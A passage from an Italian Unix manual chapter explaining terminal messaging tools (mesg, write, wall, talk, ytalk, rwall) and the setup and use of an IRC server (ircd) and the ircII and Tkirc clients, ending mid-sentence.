Il modo normale di inviare un messaggio a una persona è quello di utilizzare la posta elettronica. In alternativa, sui sistemi Unix, quando si desidera aprire una comunicazione istantanea può essere conveniente l'uso di programmi come '**`talk`**', ammesso che il sistema di destinazione sia predisposto per questo.

Il tipo di comunicazione che utilizza programmi come '**`talk`**' e simili, parte dal presupposto che si possa «scrivere» sul file di dispositivo corrispondente al terminale utilizzato dall'utente destinatario.

43.1.1 Accesso al proprio terminale

Quando si accede normalmente attraverso un terminale a caratteri, il dispositivo corrispondente dovrebbe appartenere all'utente che lo sta utilizzando e anche al gruppo '**tty**'. Ciò dovrebbe avvenire automaticamente per opera del programma '**login**'. Nel caso dell'utente '**tizio**' che sta utilizzando la seconda console virtuale di un sistema GNU/Linux, si dovrebbero osservare le caratteristiche seguenti.

$ **ls -l /dev/tty2** [*Invio*]

```
crw--w----   1 tizio    tty        4,   2 dic 31 10:38 /dev/tty2
```

L'utente che utilizza il terminale dovrebbe avere i permessi di lettura e scrittura, inoltre, dovrebbe essere concesso al gruppo il permesso di scrittura. Con questa convenzione, un programma che sia stato avviato con i privilegi del gruppo '**tty**' avrebbe la possibilità di scrivere su questo file di dispositivo.

Scrivere sul file di dispositivo di un terminale significa andare a pasticciare lo schermo su cui sta lavorando presumibilmente un utente. Esistendo questa possibilità, cioè che processi estranei possano aggiungere informazioni allo schermo del terminale che si sta utilizzando, la maggior parte degli applicativi prevede un comando che riscrive il contenuto dello schermo (di solito si ottiene con la combinazione di tasti [*Ctrl l*]). Tuttavia, gli utenti potrebbero desiderare di limitare questa possibilità, eliminando il permesso di scrittura per il gruppo '**tty**' per il terminale che si sta utilizzando.

Per controllare il permesso di scrittura per il gruppo '**tty**' del dispositivo corrispondente al proprio terminale attivo, si può usare anche un programma molto semplice: '**mesg**'. [1]

```
mesg [y|n]
```

Il fatto di togliere il permesso di scrittura per il gruppo '**tty**' al dispositivo del terminale, non è una garanzia che nessuno possa scriverci. Un processo con i privilegi dell'utente '**root**' potrebbe farlo ugualmente. Tuttavia, si tratta di una convenzione che generalmente viene rispettata.

Opzione	Descrizione
y	Permette agli altri utenti di scrivere sul proprio terminale (aggiunge il permesso di scrittura al gruppo '**tty**').
n	Impedisce agli altri utenti di scrivere sul proprio terminale (toglie il permesso di scrittura al gruppo '**tty**').
	Se l'opzione non viene specificata, si ottiene la visualizzazione dello stato attuale.

Per scrivere sullo schermo di un altro utente collegato allo stesso elaboratore locale, si usano comunemente i programmi '**write**' [2] e '**wall**': [3]

```
write utente [terminale] [< file_messaggio]
```

Il programma '**write**' rappresenta il sistema primordiale per inviare un messaggio a un altro utente che utilizza un terminale dello stesso sistema locale. Il messaggio viene atteso dallo standard input e viene scritto nel dispositivo dell'utente destinatario quando questo viene concluso con un codice di EOF (che di solito si ottiene con la combinazione [*Ctrl d*]).

Dal momento che il programma '**write**' non è destinato all'invio di messaggi attraverso la rete, il nome dell'utente va indicato in modo semplice, senza specificare il nodo. Il dispositivo del terminale può essere specificato e in tal caso si può indicare il percorso assoluto ('`/dev/tty*`') oppure solo il nome finale. Se il terminale non viene precisato, '**write**' cerca di determinarlo da solo.

```
wall messaggio
```

```
wall [< file_messaggio]
```

Il programma '**wall**' è una variante di '**write**', dove il messaggio viene inviato a tutti i terminali attivi. Il messaggio può essere fornito anche attraverso la riga di comando.

Per poter scrivere sul dispositivo dell'utente destinatario, secondo le convenzioni, '**write**' e '**wall**', devono avere i privilegi del gruppo '**tty**', per cui viene installato comunemente con il bit SGID attivato, appartenendo al gruppo '**tty**'.

chown root:tty /usr/bin/write [*Invio*]

chmod g+s /usr/bin/write [*Invio*]

chown root:tty /usr/bin/wall [*Invio*]

chmod g+s /usr/bin/wall [*Invio*]

Dal momento che quando si invia un messaggio, si presume che il proprio corrispondente voglia rispondere, '**write**' e '**wall**' non inviano il messaggio se il proprio terminale non ammette la risposta, cioè se i permessi del proprio file di dispositivo non lo consentono.

43.1.2 Comunicazione diretta attraverso la rete

Per entrare in comunicazione diretta con un utente che sta utilizzando un terminale o una console di un certo nodo raggiungibile attraverso la rete, si può utilizzare il servizio '**talk**' gestito attraverso il demone '**talkd**'[4]

In tal caso, è il demone '**talkd**' (o meglio, '**in.talkd**') del nodo destinatario, a occuparsi di scrivere sul dispositivo del terminale. Generalmente, questo programma viene avviato dal supervisore dei servizi di rete con i privilegi dell'utente '**root**', cosa che gli permetterebbe di scavalcare qualunque limitazione di accesso ai dispositivi di terminale. Tuttavia, è il demone

stesso che cerca di rispettare le convenzioni, evitando di scrivere se manca il permesso di scrittura per il gruppo '**tty**'.

```
in.talkd
```

Il demone '**in.talkd**' è gestito dal supervisore dei servizi di rete e controllato attraverso il filtro del TCP wrapper. Nell'esempio seguente, viene mostrata la riga di '/etc/inetd.conf' in cui si dichiara il suo possibile utilizzo per quanto riguarda il caso particolare di Inetd:

```
...
talk    dgram   udp     wait    root    /usr/sbin/tcpd  in.talkd
...
```

Dal lato cliente, il programma '**talk**' permette di entrare in comunicazione con una persona che sta utilizzando un nodo all'interno della rete:

```
talk utente [@nodo] [terminale]
```

Il nome dell'utente può essere espresso identificando anche il nodo all'interno del quale è, o dovrebbe essere connesso: ***utente*@*nodo***. Se l'utente con cui si vuole comunicare è connesso su più terminali all'interno dello stesso nodo, è possibile specificare il nome del terminale nella forma '**tty*xx***'. Quando si è chiamati attraverso '**talk**', sullo schermo del terminale appare un messaggio simile a quello seguente:

```
Message from Talk_Daemon@localhost at 11:31 ...
talk: connection requested by tizio@dinkel.brot.dg.
talk: respond with:  talk tizio@dinkel.brot.dg
```

In questo caso si tratta dell'utente '**tizio**' che cerca di contattarci; nel messaggio viene suggerito anche il modo corretto di rispondere. Evidentemente, l'utente che vuole rispondere deve sospendere la propria attività, per avviare a sua volta una copia del programma '**talk**'.

Quando la comunicazione si instaura, viene utilizzato uno schermo suddiviso in due finestre per distinguere i messaggi: nella parte superiore si vedono quelli inviati, mentre nella parte inferiore appaiono quelli ricevuti.

Figura 43.5. Comunicazione attraverso '**talk**'.

```
[Connection established]
Io sto bene, grazie







|---------------------------------------------------------------------|


Ciao caio, come stai?
```

.

Durante la comunicazione, lo schermo può essere riscritto utilizzando la combinazione [*Ctrl l*]. La comunicazione può essere terminata da uno qualunque dei due interlocutori utilizzando il carattere di interruzione che di norma è [*Ctrl c*]. Segue la descrizione di alcuni esempi.

- `$` **`talk tizio`** [*Invio*]

  Cerca di contattare l'utente '**`tizio`**' nello stesso sistema locale.

- `$` **`talk tizio@dinkel.brot.dg`** [*Invio*]

  Cerca di contattare l'utente '**`tizio`**' presso *`dinkel.brot.dg`*.

- `$` **`talk tizio@dinkel.brot.dg tty2`** [*Invio*]

  Cerca di contattare l'utente '**`tizio`**' presso *`dinkel.brot.dg`*, al terminale '**`tty2`**' (si tratta probabilmente della seconda console virtuale).

Oltre al programma '**`talk`**' tradizionale, è disponibile comunemente anche '**`ytalk`**'[5] che consente la comunicazione tra più di due soli utenti:

```
ytalk [-x] utente...
```

Il suo funzionamento è simile a '**`talk`**' e può anche comunicare con utenti che usano lo stesso '**`talk`**'. L'utente può essere specificato in diversi modi:

nome	un utente connesso presso lo stesso elaboratore locale;
nome*@*nodo	un utente connesso presso un altro elaboratore;
nome*#*terminale	un utente connesso presso lo stesso elaboratore locale attraverso un terminale determinato;
nome*#*terminale*@*nodo	un utente connesso presso un altro elaboratore, su un terminale determinato.

Durante la comunicazione, è possibile richiamare un menù di funzioni premendo il tasto [*Esc*].

Il programma '**`ytalk`**' è più complesso rispetto al solito '**`talk`**', tanto che è previsto l'uso di file di configurazione: '`/etc/ytalkrc`' per le impostazioni generali e '`~/.ytalkrc`' per la personalizzazione da parte di ogni utente. Eventualmente si possono approfondire le altre caratteristiche consultando la sua pagina di manuale: *ytalk(1)*.

43.1.3 Invio di un messaggio circolare

Se quello che si desidera è l'invio di un messaggio circolare senza la necessità di avere un colloquio con gli utenti destinatari, si può usare Rwall.[6] Il sistema si basa sulle RPC, di conseguenza, è necessario che i nodi destinatari di questo messaggio abbiano in funzione il Portmapper, oltre al demone particolare che si occupa di questo.

Rwall si compone in particolare di un demone, '**`rpc.rwalld`**', oppure solo '**`rwalld`**', il quale si avvia normalmente senza argomenti, di solito attraverso la procedura di inizializzazione del sistema, in modo indipendente dal supervisore dei servizi di rete.

Il programma cliente che serve per sfruttare il servizio è '**`rwall`**', il quale si utilizza con la sintassi seguente:

```
rwall nodo_remoto [file]
```

Il programma '**`rwall`**' consente di inviare un messaggio, eventualmente già preparato in un file, a tutti gli utenti di un nodo remoto determinato. Se non viene fornito il nome di un file contenente il messaggio da inviare, questo messaggio può essere inserito attraverso la tastiera del terminale da cui si avvia il programma. Per terminare l'inserimento si utilizza il codice di EOF che di solito si ottiene premendo la combinazione [*Ctrl d*].

43.2 IRC

IRC è un sistema di comunicazione in tempo reale per discussioni pubbliche, o private, in forma scritta. Di per sé, IRC è l'evoluzione della comunicazione attraverso '**`talk`**' (sezione 43.1).

Lo scopo di IRC, ovvero la realizzazione di un sistema di discussione pubblica a livello globale, richiede un'infrastruttura composta dai serventi IRC articolati in modo da formare una «rete» IRC.

Ragionando in piccolo, si può pensare alla realizzazione di un servente IRC singolo, presso il quale si devono connettere tutte le persone che vogliono instaurare una forma di discussione qualunque. La distanza non è necessariamente un problema per chi si connette; tuttavia, diventa un problema la quantità di connessioni che verrebbero a essere aperte in modo simultaneo. Nella realtà, queste connessioni possono essere molto numerose (diverse migliaia), soprattutto a causa della filosofia di IRC per la quale l'organizzazione dei canali di discussione è libera, rendendo indispensabile la presenza di un'infrastruttura che sia in grado di recepire tale massa di utenze.

Si parla di reti IRC, a indicare i gruppi di elaboratori che gestiscono assieme gli stessi canali di comunicazione. Tali reti sono composte secondo una struttura ad albero, dove esiste un solo percorso possibile tra due nodi. Naturalmente, queste reti IRC si inseriscono praticamente sulla rete Internet, sfruttando il protocollo TCP per il transito delle informazioni.

Figura 43.7. Rete di serventi IRC.

```
a      d------e
|      |
|      |
b------c------f      k
       |             |
       |             |
       g------h------i------l
              |      |
              |      |
              j      m
```

L'organizzazione della rete IRC è importante per fare in modo che transitino al suo interno solo le informazioni che sono indispensabili, dal momento che il volume di messaggi gestiti è enorme.

A livello di rete IRC si può individuare una persona con un ruolo speciale: l'operatore IRC. L'operatore IRC è l'amministratore di uno o più serventi IRC, nel senso che può impartire a questi dei comandi speciali, relativi al loro funzionamento.

43.2.1 Canali, utenti e operatori

In una rete IRC, le comunicazioni avvengono all'interno di ***canali*** creati dinamicamente; gli utenti della rete IRC sono individuati in base a un nominativo, definito *nick*. Non esiste una regola nell'uso dei nominativi di identificazione degli utenti e nell'organizzazione dei canali di comunicazione: l'utente che si presenta nella rete IRC chiede di usare un nominativo e lo ottiene se questo non è già utilizzato; l'utente che chiede di accedere a un canale di comunicazione che non esiste, lo crea automaticamente e ne diventa il suo ***operatore***.

Naturalmente, un utente che cerca di accedere a una rete IRC lo fa connettendosi a un servente IRC di quella rete; ma questo servente può definire una sua politica di accessi, per cui l'utente in questione potrebbe anche non essere ammesso ad accedere.

È importante comprendere la filosofia di IRC per ciò che riguarda i canali: questi vengono creati automaticamente nel momento in cui vengono richiesti per la prima volta; quindi scompaiono nel momento in cui non ci sono più utenti collegati al loro interno. È importante anche chiarire il senso dell'operatore: si tratta dell'utente che crea inizialmente il canale, ovvero dell'utente che riceve questo privilegio da un altro operatore. L'operatore, noto anche con l'abbreviazione di «oper», oppure solo «op», ha la possibilità di stabilire la modalità di funzionamento del canale e può anche allontanare altri utenti dal canale stesso. Segue l'elenco delle modalità più importanti di un canale che sono controllate dall'operatore:

- si può accedere al canale a richiesta, oppure solo a seguito di un invito;
- si può specificare una parola d'ordine per l'accesso al canale;
- si può specificare il numero massimo di accessi, oltre l'operatore;

- si può rendere il canale moderato, per cui in pratica scrive solo l'operatore e gli utenti da lui autorizzati;
- si può bloccare la scrittura nel canale;
- si possono concedere i privilegi di operatore anche a un altro utente;
- si può rendere il canale privato, nel senso che non ne viene pubblicizzata la presenza;
- si può rendere il canale segreto, nel senso che non lo si vuole fare apparire nell'elenco dei canali presenti.[7]

Oltre al controllo sul funzionamento del canale, l'operatore può intervenire in modo privilegiato:

- può specificare il fatto che si tratti di un canale a tema;
- può consentire a un utente di scrivere in un canale moderato;
- può allontanare un utente o gruppi di utenti;
- può concedere un'eccezione nel caso di un canale che richieda l'invito.

Ogni utente, tra le altre cose, ha la possibilità di configurare il proprio accesso al canale in modo da rendersi parzialmente invisibile.

43.2.2 Divisione e ricongiunzione di reti IRC

Una rete IRC può essere spezzata nel momento in cui un nodo che non è terminale cessa di funzionare per qualche ragione, oppure quando viene dato espressamente questo ordine da un operatore IRC. In questa situazione si formano due reti, in cui continuano a funzionare i canali per quanto possibile. Naturalmente, gli utenti che accedono a una di queste due reti risultano isolati rispetto all'altra rete.

La divisione della rete provoca quindi una crisi temporanea che alla fine si riassesta in qualche modo più o meno automatico. Il vero problema nasce nel momento in cui le reti vengono riunite: i canali con lo stesso nome vengono fusi assieme, riunendo gli utenti. Questa riunione può creare un po' di scompiglio, considerando che la modalità di funzionamento dei canali viene riadattata in modo da armonizzare le eventuali incompatibilità e che gli operatori vengono a sommarsi.

43.2.3 Comportamenti spiacevoli

IRC è un sistema di comunicazione in cui gli utenti sono presenti simultaneamente nel momento in cui scrivono e leggono i messaggi. Nelle discussioni più o meno pubbliche come queste è comune il fatto che chi non sa stare alle regole di una discussione civile decida invece di esprimersi attraverso il dispetto, con la pretesa di dimostrare così la propria superiorità.

Queste situazioni sono così comuni che ne derivano dei termini standard il cui significato dovrebbe essere conosciuto:

- *bot* è un programma cliente automatico che funziona in modo autonomo (robot), senza un utente che sta comunicando effettivamente;

- *cloner* è un utente che sta utilizzando presumibilmente più programmi clienti, ognuno dei quali è un *clone* in questo contesto;
- *flooder* è colui che inonda in qualche modo un utente allo scopo di allontanarlo dalla comunicazione.

Il *bot*, ovvero il programma che usa IRC da solo, è il mezzo attraverso cui si compiono degli attacchi, altrimenti non ci sarebbe bisogno di un programma automatico, dato che IRC è fatta per comunicare tra esseri umani.

Il fatto di utilizzare diversi programmi clienti, mentre ne basterebbe uno solo per comunicare anche su più canali, può rappresentare l'intenzione di fare qualcosa di più della semplice comunicazione.

43.2.4 Dal lato del servente

La realizzazione di un servente IRC isolato è un'operazione relativamente semplice, limitando il problema alla definizione di una politica di accessi al servizio. Qui non viene mostrato in che modo organizzare invece una vera rete IRC, che evidentemente è un problema più impegnativo.

Ircd[8] è il servente IRC tipico dei sistemi Unix. In generale sono essenziali solo due file: l'eseguibile '**`ircd`**' e il file di configurazione '`ircd.conf`', che in un sistema GNU dovrebbe trovarsi nella directory '`/etc/ircd/`'.

Ircd può essere avviato in modo autonomo, senza l'intervento del supervisore dei servizi di rete, oppure sotto il suo controllo. Nel secondo caso, per quanto riguarda Inetd, si deve provvedere a sistemare il file '`/etc/inetd.conf`' aggiungendo la riga seguente:

```
...
ircd            stream  tcp     wait    irc     /usr/sbin/ircd ircd -i
...
```

Come si può osservare dall'esempio, conviene avviare l'eseguibile '**`ircd`**' usando i privilegi di un utente fittizio definito appositamente per la gestione del servizio IRC; in questo caso si tratta di '**`irc`**'. Inoltre, si fa riferimento alla porta TCP attraverso la denominazione '**`ircd`**', la quale, secondo il file '`/etc/services`', corrisponde normalmente al numero 6667:

```
...
ircd            6667/tcp                        # Internet Relay Chat
ircd            6667/udp                        # Internet Relay Chat
...
```

Si intende che si tratta di una porta non privilegiata, giustificando la scelta di usare un utente fittizio diverso da '**`root`**' per avviare '**`ircd`**'.

Il demone '**`ircd`**' può essere configurato in modo da gestire autonomamente il protocollo IDENT e altri sistemi di controllo. In questo senso, generalmente non viene inserito il controllo del TCP wrapper.

43.2.4.1 Messaggio del giorno

Nel momento di una nuova connessione al servizio IRC, il servente mostra il messaggio del giorno. In un sistema GNU/Linux, questo messaggio potrebbe essere contenuto nel file '`/etc/ircd/ircd.motd`' (si tratta di un file di testo normale). In generale è importante predisporre questo file in modo da mostrare le notizie essenziali che si vogliono far conoscere agli utenti IRC, soprattutto per ciò che riguarda le regole di comportamento richieste.

43.2.4.2 Configurazione

La configurazione può essere molto semplice per la realizzazione di un servente IRC interno, per una rete che non può essere raggiunta dall'esterno, ma ovviamente le cose cambiano nel momento in cui si vuole realizzare una rete IRC. Qui vengono mostrati solo alcuni elementi della configurazione, utili per realizzare un servente singolo, senza problemi di accesso.

Il file di configurazione è un file di testo normale, dove le righe che iniziano con il simbolo '`#`' sono commenti e le righe vuote o bianche vengono ignorate. Le direttive hanno una forma un po' strana, dove tutto inizia con una lettera che descrive il tipo di informazione che viene fornita dalla direttiva:

x : *informazione_1* : *informazione_2* : ... : *informazione_n*

In generale si dovrebbe disporre di un file di configurazione di partenza commentato adeguatamente, con tutti gli esempi di queste direttive (anche se mostrate solo come commenti). Qui vengono descritte alcune direttive essenziali per la realizzazione di un servente IRC locale e isolato.

Una cosa da considerare nel caso il file contenga direttive che devono essere elaborate secondo un ordine preciso è il fatto che il file viene letto in ordine inverso, ovvero vengono lette prima le ultime direttive.

M

`M` : ***nome_del_servente*** : `*` : ***descrizione*** : ***porta*** : ***numero_servente***

Questa direttiva serve a definire il nome di dominio del servente, la descrizione del servizio IRC, la porta in cui resta in ascolto il servente e il numero di ordine nella rete IRC. Questo ultimo numero è un intero che va da 1 a 64 e va stabilito in base alla gerarchia di una rete IRC; se si tratta dell'unico servente, deve essere necessariamente indicato il numero uno, come si vede nell'esempio seguente:

```
M:dinkel.brot.dg:*:Mia IRC:6667:1
```

Nel caso in cui il demone '**`ircd`**' venga utilizzato attraverso il controllo del supervisore dei servizi di rete, potrebbe essere necessario indicare una porta diversa da quella standard, per non interferire proprio con il supervisore stesso che già apre quella porta. Per esempio:

```
M:dinkel.brot.dg:*:Mia IRC:8005:1
```

È da considerare il fatto che un demone '**ircd**' compilato espressamente per l'utilizzo attraverso il supervisore dei servizi di rete potrebbe non essere in grado di funzionare in modo autonomo, in ogni caso.

A

A:***riga_1***:***riga_2***:...:***riga_n***

Si tratta della direttiva con cui si definiscono delle informazioni amministrative, elencate con il comando '**/admin**'. In pratica viene mostrato il contenuto dei campi in righe differenti. Si osservi l'esempio seguente che dovrebbe essere sufficientemente intuitivo:

```
A:Mia IRC:Servente IRC:Amministratore <root@dinkel.brot.dg>
```

I

I:***maschera_ip***:***parola_d'ordine***:***maschera_dominio***::***classe***

Questa direttiva stabilisce i limiti di accesso al servizio in base a una maschera IP e a una maschera del nome di dominio; queste maschere si riferiscono ovviamente ai nodi che accedono come clienti. Le maschere in questione si realizzano facilmente utilizzando il simbolo '*****' come variabile indefinita. In generale, l'esempio seguente consente qualsiasi accesso:

```
I:*::*::1
```

Il campo finale, riferito alla classe, deriva dalla definizione delle classi attraverso le direttive '**Y**' che qui non vengono descritte, non essendo indispensabili. In ogni caso, il numero uno rappresenta tutte le classi possibili simultaneamente.

Il campo centrale riservato a una parola d'ordine serve a consentire l'accesso solo attraverso l'indicazione di questa. Tuttavia, a seconda di come è stato compilato il demone '**ircd**', questa potrebbe dover essere inserita in modo cifrato. In tal caso dovrebbe anche essere presente un programma apposito per generare tali parole d'ordine cifrate.

K

K:***maschera_nodo***:***motivazione***:***maschera_utente***

Questa direttiva, non obbligatoria, consente di escludere esplicitamente una combinazione di nodi e di utenti che tentano di accedere da questi nodi. Le maschere in questione si realizzano con l'uso del carattere '*****', con cui si rappresenta la solita stringa indefinita. In particolare, il nodo può essere indicato per nome (di dominio) oppure per numero IP. L'esempio seguente esclude gli utenti il cui nome inizia per '**dan**' e accedono dalla rete **.brot.dg*:

```
K:*.brot.dg:Accesso sospeso per un mese:dan*
```

Per concludere la descrizione della configurazione, l'esempio seguente mostra il caso di una configurazione minima, con le sole direttive indispensabili:

```
M:dinkel.brot.dg:*:Mia IRC:8005:1
A:Mia IRC:Servente IRC:Amministratore <root@dinkel.brot.dg>
I:*::*::1
```

43.2.4.3 Avvio del demone

```
ircd [opzioni]...
```

Il demone '**ircd**' può funzionare in due modi diversi: legato al supervisore dei servizi di rete, oppure indipendentemente da questo. Nel primo caso si utilizza l'opzione '**-i**' e nel file '`/etc/inetd.conf`' non si inserisce il controllo di '**tcpd**', perché si creerebbero dei problemi a causa dell'uso del protocollo IDENT:

```
...
ircd            stream  tcp     wait    irc     /usr/sbin/ircd ircd -i
...
```

Diversamente, il demone può essere avviato come un comando normale, senza nemmeno dover aggiungere la richiesta esplicita di funzionamento sullo sfondo. In effetti, dal momento che si utilizza normalmente una porta TCP non privilegiata, ogni utente comune può, teoricamente, avviare questo tipo di servizio. Segue l'elenco di alcune opzioni della riga di comando di '**ircd**'.

Opzione	Descrizione
`-t`	Fa in modo che il demone funzioni in primo piano, emettendo tutte le sue informazioni diagnostiche attraverso lo standard output.
`-x`***n***	Definisce il livello diagnostico richiesto: maggiore è il valore ***n***, maggiore è la quantità di informazioni che si ottengono.
`-i`	Stabilisce che il demone è sotto il controllo del supervisore dei servizi di rete.
`-f` ***file_di_configurazione***	Stabilisce espressamente da quale file trarre la configurazione.
`-c`	Si usa questa opzione quando si avvia il demone attraverso uno script della procedura di inizializzazione del sistema, per cui è necessario che il demone stesso si sganci dallo script e diventi un processo dipendente direttamente da Init.

43.2.5 Dal lato del cliente

Il compito di un programma cliente IRC è quello di consentire la comunicazione effettiva tra l'utente umano e il servente IRC. La prima cosa che avviene è la ***registrazione***, attraverso la quale l'utente ottiene l'accesso al servizio assieme alla definizione del proprio nominativo. Una volta instaurata la connessione, l'utente ha la possibilità di unirsi a uno o più canali di discussione, creandoli automaticamente se questi non sono già presenti.

Qui si considerano solo due programmi, ircII e Tkirc, dove il secondo è solo un programma frontale che si avvale in pratica del primo per la comunicazione effettiva.

ircII[9] è il programma cliente standard per comunicare con IRC. Si utilizza attraverso un terminale a caratteri normale, dove lo schermo è diviso in due parti: quella superiore per mostrare i messaggi che scorrono verso l'alto; quella inferiore che è semplicemente la riga da cui si impartiscono i comandi. Il programma eseguibile è '**irc**' e si avvia in maniera molto semplice, come nell'esempio seguente, dove viene specificato il nominativo desiderato e l'indirizzo del servente IRC:

$ **irc tizio dinkel.brot.dg** [*Invio*]

```
*** Welcome to the Internet Relay Network tizio (from dinkel.brot.dg)
*** /etc/irc/script/local V0.5 for Debian finished. Welcome to ircII.
*** If you have not already done so, please read the new user
*** information with
+/HELP NEWUSER
*** Your host is dinkel.brot.dg, running version u2.10.07.0
*** This server was created Fri Dec 17 1999 at 19: 54:56 CST
*** umodes available dioswkg, channel modes available biklmnopstv
*** There are 1 users and 0 invisible on 1 servers
*** This server has 1 clients and 0 servers connected
*** Highest connection count: 1 (1 clients)
*** - dinkel.brot.dg Message of the Day -
*** - 16/3/2001 20:44
*** - Benvenuto presso irc.brot.dg
*** -
*** on 1 ca 1(2) ft 10(10)



---------------------------------------------------------------------
[1] 20:45 tizio * type /help for help
_
```

In questo caso, il messaggio del giorno è soltanto «Benvenuto presso irc.brot.dg», visibile in basso; il resto è stato generato automaticamente dal servente. La riga contenente la stringa

```
[1] 20:45 tizio * type /help for help
```

è la linea di demarcazione tra la parte superiore contenente i messaggi e la parte inferiore riservata ai comandi dell'utente. Come si può vedere, viene suggerito l'uso del comando '**/help**' per richiamare l'elenco dei comandi disponibili.

Se si impartisce il comando '**/help**', come suggerito, si passa a un contesto differente, in cui si possono ottenere informazioni dettagliate su questo o quel comando:

/help [*Invio*]

```
!             :             abort         admin         alias
assign        away          basics        beep          bind
brick         bye           cd            channel       clear
```

```
commands     comment      connect      ctcp         date
dcc          deop         describe     die          digraph
dmsg         dquery       echo         encrypt      etiquette
eval         exec         exit         expressions  flush
foreach      help         history      hook         icb
if           ignore       info         input        intro
invite       ircii        ison         join         kick
kill         lastlog      leave        links        list
load         lusers       me           menus        mload
mode         motd         msg          names        news
newuser      nick         note         notice       notify
on           oper         parsekey     part         ping
query        quit         quote        rbind        redirect
rehash       restart      rules        save         say
send         sendline     server       servlist     set
signoff      sleep        squery       squit        stats
summon       time         timer        topic        trace
type         userhost     users        version      wait
wallops      which        while        who          whois
whowas       window       xecho        xtype
[1] 20:56 daniele * type /help for help
```

`Help?`

Si può osservare dalla figura che, nella riga di comando, appare un invito che prima non era presente: '**`Help?`**', a significare che si può indicare il nome di un comando di quelli elencati per conoscerne la sintassi. Per esempio:

`Help?` **`help`** [*Invio*]

```
*** Help on help
Usage: HELP [<command> [<subcommands>]]
  Shows help on the given command.  The help documentation is
  set up in a hierarchical fashion.  That means that certain
  help topics have sub-topics under them.  For example, doing
    HELP ADMIN
  gives help on the admin command, while:
    HELP SET
  gives help on the set command and also displays a list of
  sub-topics for SET.  To get help on the subtopics, you would
  do:
    HELP SET <subtopic>
  where <subtopic> is one of the subtopics.  If you are using the
  built in help, then you need only type the subtopic name.  The
  input prompt will indicate what help level you are on.  Hitting
  return will move you up one level.

  At any time, you can specify a ? to get a list of subtopics
```

```
   without the associated help file, for example:
     HELP ?
   gives a list of all main help topics.  The following:
     HELP BIND ?
   gives the list of all BIND subtopics.  If you use a ? with
 [1] 21:00 daniele * type /help for help
 *** Hit any key for more, 'q' to quit ***
```

Come si vede, se non c'è abbastanza spazio per visualizzare tutto il testo disponibile, basta digitare un carattere qualunque per vedere la pagina successiva, oppure basta inserire la lettera '`q`' per terminare.

Alla fine della navigazione nella guida interna, basta premere il tasto [*Invio*] senza specificare il nome di alcun comando per ritornare alla modalità di funzionamento normale, dove non appare alcun invito.

`Help?` [*Invio*]

I comandi impartiti a ircII sono preceduti dal simbolo '`/`', per distinguerli dal testo dei messaggi che invece vanno inviati al canale di discussione.

Generalmente, quando ci si trova di fronte all'invito normale, è possibile richiamare i comandi precedenti scorrendo con i tasti [*freccia-su*] e [*freccia-giù*].

Si conclude il funzionamento di ircII con il comando '**`/quit`**'.

Tkirc[10] è un programma frontale per ircII. Il programma eseguibile è '**`tkirc`**' e si avvia in maniera molto semplice, come nell'esempio seguente, dove viene specificato il nominativo desiderato e l'indirizzo del servente IRC:

`$` **`tkirc tizio dinkel.brot.dg`** [*Invio*]

Figura 43.22. Schermata iniziale all'avvio di Tkirc.

```
Project Prefs User Channel Personal Server Private          no channel
Topic:                                                       *
*** Connecting to port 6667 of server localhost
001 Welcome to the Internet Relay Network tizio (from dinkel.brot.dg)
*** /etc/irc/script/local V0.5 for Debian finished. Welcome to ircII.
002 Your host is dinkel.brot.dg, running version u2.10.07.0
003 This server was created Fri Dec 17 1999 at 19: 54:56 CST
004 umodes available dioswkg, channel modes available biklmnopstv
251 There are 1 users and 0 invisible on 1 servers
255 This server has 1 clients and 0 servers connected
*** Highest connection count: 1 (1 clients)
375 - dinkel.brot.dg Message of the Day -
372 - 16/3/2001 20:44
372 - Benvenuto presso irc.brot.dg
372 -
*** on 1 ca 1(2) ft 10(10)
*** notification method: 'notify'
```

Utilizzando il menù a tendina, è possibile ottenere un'altra finestra con la quale comunicare in un altro canale. Si utilizza precisamente la voce `New window` dal menù `Project`.

Nella colonna destra, vengono elencati gli utenti che partecipano al canale con cui si sta comunicando. Con un clic doppio del mouse si ottengono le informazioni su di loro, come si vede nella figura 43.23.

Figura 43.23. Informazioni sugli utenti collegati allo stesso canale.

```
Project Prefs User Channel Personal Server Private          o=1 v=0 b=0 k l i m n p s t
Topic:                                                       #prova                 2
                                                             caio
                                                             @tizio
311 caio is daniele@dinkel.brot.dg (*Unknown*)
319 on channels: @#nuova #prova
312 on irc via server dinkel.brot.dg (The World Domination Project)
317 caio has been idle 4 minutes
311 tizio is daniele@dinkel.brot.dg (*Unknown*)
319 on channels: @#prova
312 on irc via server dinkel.brot.dg (The World Domination Project)
317 tizio has been idle 1 minutes
```

43.2.6 Utilizzo di massima di un cliente IRC

Generalmente, prima di entrare in un canale si può avere l'interesse di visualizzare l'elenco di quelli disponibili. Questo si ottiene con il comando '**/list**'. Per esempio, con ircII:

/list [*Invio*]

```
*** Channel     Users   Topic
*** #prova      1
*** #pippo      3
```

Come si vede, il nome di un canale inizia con il carattere '**#**' per convenzione. In alternativa, il nome di un canale può iniziare anche per '**&**', ma in tal caso si tratta di un canale che riguarda esclusivamente il servente al quale si è connessi, per cui non si diffonde agli altri serventi della stessa rete IRC.

Nello stesso modo, può essere utile visualizzare l'elenco degli utenti collegati. Questo si ottiene con il comando '**/names**', che va usato comunque con parsimonia, considerando che una rete IRC «normale» è sempre molto affollata.

/names [*Invio*]

```
Pub: #prova     tizio @daniele
Pub: #pippo     caio @sempronio
```

Nell'elenco degli utenti, gli operatori di canale sono evidenziati dal prefisso '`@`'. Eventualmente, se si vede il simbolo '`*`' come prefisso, si tratta di un operatore IRC.

Il programma cliente che si utilizza potrebbe attribuire automaticamente il nominativo per accedere alla rete IRC, sfruttando presumibilmente il nominativo utente usato per accedere al proprio elaboratore. Se il nome in questione non è compatibile, eventualmente perché già utilizzato, è il programma cliente stesso che richiede di indicare un altro nominativo. In ogni caso, è possibile cambiare il proprio nome attraverso il comando '**`/nick`**':

`/nick pinco` [*Invio*]

L'esempio mostra il caso in cui l'utente desideri usare il nome '**`pinco`**', ammesso che questo non sia già utilizzato nella rete IRC in cui si è connessi.

Il nominativo usato all'interno di una rete IRC non può essere più lungo di nove caratteri.

Ci si aggrega a un canale con il comando '**`/join`**'. Se il canale indicato non esiste ancora, viene creato per l'occasione e l'utente che lo crea ne diventa l'operatore.

`/join #prova` [*Invio*]

L'esempio mostra il caso in cui ci si voglia aggregare al canale '**`#prova`**'. È importante ricordare che è necessario il prefisso davanti al nome, come si vede dall'esempio.

Quando ci si trova in un canale, ciò che si digita senza il prefisso '**`/`**', viene trasmesso al canale stesso:

`Ciao a tutti!` [*Invio*]

Come ci si unisce a un canale, ci si può allontanare. Questo si ottiene con il comando '**`/leave`**':

